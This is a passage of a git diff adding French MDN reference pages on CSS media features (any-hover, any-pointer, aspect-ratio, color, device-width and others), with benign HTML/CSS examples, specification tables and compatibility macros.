+<div>{{CSSRef}}</div>
+
+<p><strong><code>any-hover</code></strong> est une caractéristique média CSS qui permet de vérifier si un mécanisme de saisie/d'entrée permet à l'utilisateur de survoler les éléments.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La caractéristique <code>any-hover</code> est définie avec un mot-clé parmi ceux de la liste ci-après.</p>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Parmi les mécanismes de saisi, aucun ne permet de survoler les éléments (ou il n'existe aucun dispositif de pointage).</dd>
+ <dt><code>hover</code></dt>
+ <dd>Un ou plusieurs mécanismes de saisie permettent de survoler le contenu simplement.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;a href="#"&gt;Essayez de me survoler !&lt;/a&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">@media (any-hover: hover) {
+  a:hover {
+    background: yellow;
+  }
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Media Queries', '#descdef-media-any-hover', 'any-hover')}}</td>
+   <td>{{Spec2('CSS4 Media Queries')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.at-rules.media.any-hover")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/@media/hover">La caractéristique média <code>hover</code></a></li>
+</ul>
diff --git a/files/fr/web/css/@media/any-pointer/index.html b/files/fr/web/css/@media/any-pointer/index.html
new file mode 100644
index 0000000000..abec9dcecb
--- /dev/null
+++ b/files/fr/web/css/@media/any-pointer/index.html
@@ -0,0 +1,105 @@
+---
+title: any-pointer
+slug: Web/CSS/@media/any-pointer
+tags:
+  - CSS
+  - Caractéristique média
+  - Reference
+translation_of: Web/CSS/@media/any-pointer
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>any-pointer</code></strong> est une caractéristique média CSS (cf. {{cssxref("@media")}}) qui peut être utilisée afin de déterminer si un des mécanismes de saisie/d'entrée disponibles est un dispositif de pointage et sa précision le cas échéant.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Si on souhaite tester la précision du mécanisme de pointage <em>principal</em>, on pourra utiliser la caractéristique <code><a href="/fr/docs/Web/CSS/@media/pointer">pointer</a></code> à la place.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La caractéristique <code>any-pointer</code> est définie comme un mot-clé parmi ceux de la liste ci-après.</p>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>L'appareil ne dispose d'aucun dispositif de pointage.</dd>
+ <dt><code>coarse</code></dt>
+ <dd>Il existe au moins un mécanisme d'entrée qui est un dispositif de pointage et pour lequel la précision est limitée.</dd>
+ <dt><code>fine</code></dt>
+ <dd>Il existe au moins un mécanisme d'entrée qui est un dispositif de pointage et pour lequel la précision est fine.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note :</strong> Plusieurs valeurs peuvent correspondre si l'appareil dispose de dispositifs de pointage différents. Toutefois, la valeur <code>none</code> ne sera utilisée que lorsqu'aucun dispositif de pointage ne sera détecté.</p>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans cet exemple, on crée une petite case à cocher pour les utilisateurs qui disposent d'un pointage précis et une case à cocher plus grande lorsque le mécanisme de pointage est moins précis.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;input id="test" type="checkbox" /&gt;
+&lt;label for="test"&gt;Coucou !&lt;/label&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">input[type="checkbox"]:checked {
+  background: gray;
+}
+
+@media (any-pointer: fine) {
+  input[type="checkbox"] {
+    -moz-appearance: none;
+    -webkit-appearance: none;
+    appearance: none;
+    width: 15px;
+    height: 15px;
+    border: 1px solid blue;
+  }
+}
+
+@media (any-pointer: coarse) {
+  input[type="checkbox"] {
+    -moz-appearance: none;
+    -webkit-appearance: none;
+    appearance: none;
+    width: 30px;
+    height: 30px;
+    border: 2px solid red;
+  }
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Media Queries', '#descdef-media-any-pointer', 'any-pointer')}}</td>
+   <td>{{Spec2('CSS4 Media Queries')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.at-rules.media.any-pointer")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/@media/pointer">La caractéristique média <code>pointer</code></a></li>
+</ul>
diff --git a/files/fr/web/css/@media/aspect-ratio/index.html b/files/fr/web/css/@media/aspect-ratio/index.html
new file mode 100644
index 0000000000..085c611aa0
--- /dev/null
+++ b/files/fr/web/css/@media/aspect-ratio/index.html
@@ -0,0 +1,111 @@
+---
+title: aspect-ratio
+slug: Web/CSS/@media/aspect-ratio
+tags:
+  - CSS
+  - Caractéristique média
+  - Reference
+translation_of: Web/CSS/@media/aspect-ratio
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>aspect-ratio</code></strong> est une caractéristique média CSS dont la valeur correspond au ratio ({{cssxref("&lt;ratio&gt;")}}) entre la largeur et la hauteur de la zone d'affichage (<em>viewport</em>).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La caractéristique <code>aspect-ratio</code> est définie avec un ratio (type CSS {{cssxref("&lt;ratio&gt;")}}) qui représente le ratio entre la largeur et la hauteur de la zone d'affichage . C'est une caractéristique d'intervalle ce qui signifie qu'on peut utiliser les variantes préfixées <strong><code>min-aspect-ratio</code></strong> et <code><strong>max-aspect-ratio</strong></code> afin de cibler des règles CSS en fonction d'une valeur minimale ou maximale.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<div class="note">
+<p><strong>Note :</strong> L'exemple suivant est contenu dans un élément {{HTMLElement("iframe")}} et crée donc sa propre zone d'affichage (<em>viewport</em>), vous pouvez redimensionner l'<code>iframe</code> afin d'observer l'effet d'<code>aspect-ratio</code>.</p>
+</div>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;label id="wf" for="w"&gt;width:165&lt;/label&gt;
+&lt;input id="w" name="w" type="range" min="100" max="250" step="5" value="165"&gt;
+&lt;label id="hf" for="w"&gt;height:165&lt;/label&gt;
+&lt;input id="h" name="h" type="range" min="100" max="250" step="5" value="165"&gt;
+
+&lt;iframe id="outer" src="data:text/html,
+  &lt;style&gt;
+    @media (min-aspect-ratio: 8/5) {
+      div {
+        background: %239af;
+      }
+    }
+    @media (max-aspect-ratio: 3/2) {
+      div {
+        background: %239ff;
+      }
+    }
+    @media (aspect-ratio: 1/1) {
+      div {
+        background: %23f9a;
+      }
+    }
+  &lt;/style&gt;
+  &lt;div id='inner'&gt;
+    Vous pouvez redimensionner le viewport en largeur
+    et en hauteur pour voir l'effet.
+  &lt;/div&gt;
+"&gt;
+
+&lt;/iframe&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">iframe{
+  display:block;
+}</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">outer.style.width=outer.style.height="165px"
+
+w.onchange=w.oninput=function(){
+  outer.style.width=w.value+"px"
+  wf.textContent="width:"+w.value
+}
+h.onchange=h.oninput=function(){
+  outer.style.height=h.value+"px"
+  hf.textContent="height:"+h.value
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<div style="overflow: auto;">
+<p>{{EmbedLiveSample('Exemples')}}</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Media Queries', '#aspect-ratio', 'aspect-ratio')}}</td>
+   <td>{{Spec2('CSS4 Media Queries')}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Media Queries', '#aspect-ratio', 'aspect-ratio')}}</td>
+   <td>{{Spec2('CSS3 Media Queries')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.at-rules.media.aspect-ratio")}}</p>
diff --git a/files/fr/web/css/@media/aural/index.html b/files/fr/web/css/@media/aural/index.html
new file mode 100644
index 0000000000..3de1642213
--- /dev/null
+++ b/files/fr/web/css/@media/aural/index.html
@@ -0,0 +1,42 @@
+---
+title: aural
+slug: Web/CSS/@media/aural
+tags:
+  - CSS
+  - Déprécié
+  - Obsolete
+  - Reference
+translation_of: Web/CSS/@media/aural
+---
+<div>{{CSSRef}}{{obsolete_header("6.0")}} {{deprecated_header}}</div>
+
+<p>Un <a href="/fr/docs/Web/CSS/@media#Groupes_de_médias">groupe de médias</a> défini par les standards <a href="/fr/docs/Web/CSS">CSS</a>.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Ce groupe de médias n'a jamais été complètement implémenté dans Gecko et a été supprimé dans {{Gecko("6.0")}}. C'est le type de média <a href="/fr/docs/Web/CSS/@media#speech">speech</a> qui le remplace.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="https://www.w3.org/TR/CSS2/aural.html#q19.0">CSS Level 2</a></td>
+   <td>Dépréciation</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/@media">@media</a></li>
+</ul>
diff --git a/files/fr/web/css/@media/color-gamut/index.html b/files/fr/web/css/@media/color-gamut/index.html
new file mode 100644
index 0000000000..1762310821
--- /dev/null
+++ b/files/fr/web/css/@media/color-gamut/index.html
@@ -0,0 +1,68 @@
+---
+title: color-gamut
+slug: Web/CSS/@media/color-gamut
+tags:
+  - CSS
+  - Caractéristique média
+  - Reference
+translation_of: Web/CSS/@media/color-gamut
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>color-gamut</code></strong> est une caractéristique média dont la valeur décrit l'intervalle approximatif des couleurs qui sont prises en charge par l'agent utilisateur et l'appareil responsable de l'affichage.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La caractéristique <code>color-gamut</code> est définie avec un mot-clé parmi ceux de la liste ci-après.</p>
+
+<dl>
+ <dt><code>srgb</code></dt>
+ <dd>L'appareil d'affichage prend approximativement en charge l'espace de couleurs <a href="https://en.wikipedia.org/wiki/SRGB">sRGB</a> ou un espace plus grand. Cela correspond à la majorité des appareils d'affichage.</dd>
+ <dt><code>p3</code></dt>
+ <dd>L'appareil d'affichage prend approximativement en charge l'espace de couleurs spécifié par <a href="https://en.wikipedia.org/wiki/DCI-P3">l'espace de couleur DCI P3</a> ou un espace plus grand; L'espace p3 est plus grand (et inclut) l'espace srgb.</dd>
+ <dt><code>rec2020</code></dt>
+ <dd>L'appareil d'affichage prend approximativement l'espace de couleurs spécifié par <a href="https://en.wikipedia.org/wiki/Rec._2020">l'espace de couleurs ITU-R Recommendation BT.2020</a> ou un espace plus grand. L'espace rec2020 est plus grand (et inclut) l'espace p3.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;Un test simple.&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">@media (color-gamut: srgb) {
+  p {
+    background: #f4ae8a;
+  }
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Media Queries', '#color-gamut', 'color-gamut')}}</td>
+   <td>{{Spec2('CSS4 Media Queries')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.at-rules.media.color-gamut")}}</p>
diff --git a/files/fr/web/css/@media/color-index/index.html b/files/fr/web/css/@media/color-index/index.html
new file mode 100644
index 0000000000..66d460206d
--- /dev/null
+++ b/files/fr/web/css/@media/color-index/index.html
@@ -0,0 +1,84 @@
+---
+title: color-index
+slug: Web/CSS/@media/color-index
+tags:
+  - CSS
+  - Caractéristique média
+  - Reference
+translation_of: Web/CSS/@media/color-index
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>color-index</code></strong> est une caractéristique média CSS (cf. {{cssxref("@media")}}) dont la valeur correspond au nombre d'entrées que comporte la palette de couleurs du périphérique de sortie, ou zéro si ce dernier n'en utilise pas.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La caractéristique <code>color-index</code> est définie sous la forme d'un entier (type {{cssxref("&lt;integer&gt;")}}) et représente le nombre d'entrées de la palette de couleurs de l'appareil d'affichage (ou zéro si l'appareil n'utilise pas une telle palette). C'est une caractéristique d'intervalle ce qui signifie qu'on peut utiliser les variantes préfixées <strong><code>min-color-index</code></strong> et <code><strong>max-color-index</strong></code> afin cibler des règles en fonction d'un minimum ou d'un maximum.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemple_simple">Exemple simple</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;Un test simple.&lt;/p&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">p {
+  color: black;
+}
+
+@media (color-index) {
+  p {
+    color: red;
+  }
+}
+
+@media (min-color-index: 15000) {
+  p {
+    color: #1475ef;
+  }
+}</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Exemple_simple")}}</p>
+
+<h3 id="Feuille_de_style_personnalisée">Feuille de style personnalisée</h3>
+
+<p>Ce fragment HTML permet d'appliquer une feuille de style spécifique pour les appareils qui disposent d'au moins 256 couleurs.</p>
+
+<pre class="brush: html"><code>&lt;link rel="stylesheet" href="http://toto.truc.com/base.css" /&gt;
+&lt;link rel="stylesheet" media="all and (min-color-index: 256)" href="http://toto.truc.com/feuille_style_couleurs.css" /&gt;</code></pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Etat</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Media Queries', '#color-index', 'color-index')}}</td>
+   <td>{{Spec2('CSS4 Media Queries')}}</td>
+   <td>La valeur peut désormais être négative (ce qui correspond à un booléen faux).</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Media Queries', '#color-index', 'color-index')}}</td>
+   <td>{{Spec2('CSS3 Media Queries')}}</td>
+   <td>Définition initiale, la valeur ne peut pas être négative.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.at-rules.media.color-index")}}</p>
diff --git a/files/fr/web/css/@media/color/index.html b/files/fr/web/css/@media/color/index.html
new file mode 100644
index 0000000000..76d79bf25c
--- /dev/null
+++ b/files/fr/web/css/@media/color/index.html
@@ -0,0 +1,94 @@
+---
+title: color
+slug: Web/CSS/@media/color
+tags:
+  - CSS
+  - Caractéristique média
+  - Reference
+translation_of: Web/CSS/@media/color
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>color</code></strong> est une caractéristique média CSS (cf. {{cssxref("@media")}}) dont la valeur est le nombre de bits par composante de couleur du périphérique de sortie, ou zéro si ce dernier ne gère pas les couleurs.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La caractéristique <code>color</code> est définie avec un entier (type CSS {{cssxref("&lt;integer&gt;")}}) et représente le nombre de bits utiisé par l'appareil d'affichage pour représenter chaque composante de couleur. Si l'appareil ne gère pas les couleurs, la valeur sera zéro. C'est une caractéristique d'intervalle ce qui signifie qu'on peut utiliser les variantes préfixées <strong><code>min-color</code></strong> et <code><strong>max-color</strong></code> afin de cibler des règles en fonction d'un minimum ou d'un maximum.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Si les différentes composantes sont représentées sur un nombre différent de bits, c'est le plus petit de ces nombres qui est utilisé. Par exemple, si un affichage utilise 5 bits pour le bleu et le rouge mais 6 bits pour le vert, on considèrera que l'appareil utilise 5 bits par couleur. Si l'appareil utilise des couleur indexées, c'est le nombre minimal de bits par composantes parmi les couleurs de l'index qui est utilisé.</p>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;
+   Ce texte sera noir pour les appareils qui ne prennent en charge
+   aucune couleur, rouge pour ceux qui prennent peu de couleurs en
+   charge et vert sinon.
+&lt;/p&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p {
+  color: black;
+}
+
+/* Tout appareil qui gère des couleurs */
+@media (color) {
+  p {
+    color: red;
+  }
+}
+
+/* Tout appareil qui gère des couleurs avec */
+/* au moins 8 bits par composante */
+@media (min-color: 8) {
+  p {
+    color: #24ba13;
+  }
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Media Queries', '#color', 'color')}}</td>
+   <td>{{Spec2('CSS3 Media Queries')}}</td>
+   <td>Définition initiale, la valeur ne peut pas être négative.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Media Queries', '#color', 'color')}}</td>
+   <td>{{Spec2('CSS4 Media Queries')}}</td>
+   <td>La valeur peut désormais être négative (ce qui correspond alors à un booléen faux).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.at-rules.media.color")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/HTML/Applying_color">Appliquer des couleurs HTML à CSS</a></li>
+ <li>La propriété CSS {{cssxref("color")}}</li>
+ <li>Le type de donnée CSS {{cssxref("&lt;color&gt;")}}</li>
+</ul>
diff --git a/files/fr/web/css/@media/device-aspect-ratio/index.html b/files/fr/web/css/@media/device-aspect-ratio/index.html
new file mode 100644
index 0000000000..a0356e163d
--- /dev/null
+++ b/files/fr/web/css/@media/device-aspect-ratio/index.html
@@ -0,0 +1,59 @@
+---
+title: device-aspect-ratio
+slug: Web/CSS/@media/device-aspect-ratio
+tags:
+  - CSS
+  - Caractéristique média
+  - Déprécié
+  - Reference
+translation_of: Web/CSS/@media/device-aspect-ratio
+---
+<div>{{CSSRef}}{{deprecated_header}}</div>
+
+<p><strong><code>device-aspect-ratio</code></strong> est une caractéristique média (cf. {{cssxref("@media")}}) dont la valeur correspond au ratio entre la largeur et la hauteur de l'appareil d'affichage.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La caractéristique <code>device-aspect-ratio</code> est définie sous la forme d'un ratio (type CSS {{cssxref("&lt;ratio&gt;")}}). C'est une caractéristique d'intervalle ce qui signifie qu'on peut utiliser les variantes préfixées <strong><code>min-device-aspect-ratio</code></strong> et <code><strong>max-device-aspect-ratio</strong></code> afin de cibler des règles en fonction de minimum ou maximum.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: css">article {
+  padding: 1rem;
+}
+
+@media screen and (min-device-aspect-ratio: 16/9) {
+  article {
+    padding: 1rem 5vw;
+  }
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Media Queries', '#device-aspect-ratio', 'device-aspect-ratio')}}</td>
+   <td>{{Spec2('CSS4 Media Queries')}}</td>
+   <td>Dépréciation dans la spécification de niveau 4 pour les requêtes média.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Media Queries', '#device-aspect-ratio', 'device-aspect-ratio')}}</td>
+   <td>{{Spec2('CSS3 Media Queries')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.at-rules.media.device-aspect-ratio")}}</p>
diff --git a/files/fr/web/css/@media/device-height/index.html b/files/fr/web/css/@media/device-height/index.html
new file mode 100644
index 0000000000..92272515aa
--- /dev/null
+++ b/files/fr/web/css/@media/device-height/index.html
@@ -0,0 +1,53 @@
+---
+title: device-height
+slug: Web/CSS/@media/device-height
+tags:
+  - CSS
+  - Caractéristique média
+  - Déprécié
+  - Reference
+translation_of: Web/CSS/@media/device-height
+---
+<div>{{CSSRef}}{{deprecated_header}}</div>
+
+<p><strong><code>device-height</code></strong> est une caractéristique média (cf. {{cssxref("@media")}}) dépréciée dont la valeur correspond à la hauteur de la surface de rendu pour l'appareil d'affichage.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La caractéristique <code>device-height</code> est définie comme une longueur (type  {{cssxref("&lt;length&gt;")}}). C'est une caractéristique d'intervalle ce qui signifie qu'on peut utiliser les variantes préfixées <strong><code>min-device-height</code></strong> et <code><strong>max-device-height</strong></code> afin d'utiliser des critères de minimum et maximum.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Ce fragment HTML applique une feuille de style spécifique pour les appareils dont la hauteur est inférieure à 800 pixels.</p>
+
+<pre class="brush: html">&lt;link rel="stylesheet" media="screen and (max-device-height: 799px)" href="http://toto.truc.com/short-styles.css" /&gt;</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Media Queries', '#device-height', 'device-height')}}</td>
+   <td>{{Spec2('CSS4 Media Queries')}}</td>
+   <td>Dépréciation dans la spécification de niveau 4 pour les requêtes média.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Media Queries', '#device-height', 'device-height')}}</td>
+   <td>{{Spec2('CSS3 Media Queries')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.at-rules.media.device-height")}}</p>
diff --git a/files/fr/web/css/@media/device-width/index.html b/files/fr/web/css/@media/device-width/index.html
new file mode 100644
index 0000000000..16f87bc1d8
--- /dev/null
+++ b/files/fr/web/css/@media/device-width/index.html
@@ -0,0 +1,53 @@
+---
+title: device-width
+slug: Web/CSS/@media/device-width
+tags:
+  - CSS
+  - Caractéristique média
+  - Déprécié
+  - Reference
+translation_of: Web/CSS/@media/device-width
+---
+<div>{{CSSRef}}{{deprecated_header}}</div>
+
+<p><strong><code>device-width</code></strong> est une caractéristique média dépréciée dont la valeur représente la largeur de la surface de rendu de l'appareil d'affichage.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p><code>device-width</code> est définie comme une longueur (type {{cssxref("&lt;length&gt;")}}). C'est une caractéristique d'intervalle et les variantes préfixées <strong><code>min-device-width</code></strong> et <code><strong>max-device-width</strong></code> peuvent être utilisées pour manipuler un minimum ou un maximum.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Ce code HTML applique une feuille de style pour pour les appareils plus étroits que 800 pixels.</p>
+
+<pre class="brush: html">&lt;link rel="stylesheet" media="screen and (max-device-width: 799px)" href="http://toto.truc.com/narrow-styles.css" /&gt;</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Media Queries', '#device-width', 'device-width')}}</td>
+   <td>{{Spec2('CSS4 Media Queries')}}</td>
+   <td>Dépréciation dans la spécification de niveau 4 pour les requêtes média.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Media Queries', '#device-width', 'device-width')}}</td>
+   <td>{{Spec2('CSS3 Media Queries')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.at-rules.media.device-width")}}</p>
diff --git a/files/fr/web/css/@media/display-mode/index.html b/files/fr/web/css/@media/display-mode/index.html
new file mode 100644
index 0000000000..0b64eafe8b
--- /dev/null
+++ b/files/fr/web/css/@media/display-mode/index.html
@@ -0,0 +1,84 @@
+---
+title: display-mode
+slug: Web/CSS/@media/display-mode
+tags:
+  - CSS
+  - Caractéristique média
+  - Reference
+translation_of: Web/CSS/@media/display-mode
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>display-mode</code></strong> est une caractéristique média CSS (cf. {{cssxref("@media")}}) qui permet d'appliquer différentes règles CSS selon le mode d'affichage de l'application. On pourra utiliser cette caractéristique afin qu'un utilisateur ait une expérience similaire selon qu'il lance le site depuis une URL ou depuis une icône sur un bureau.</p>
+
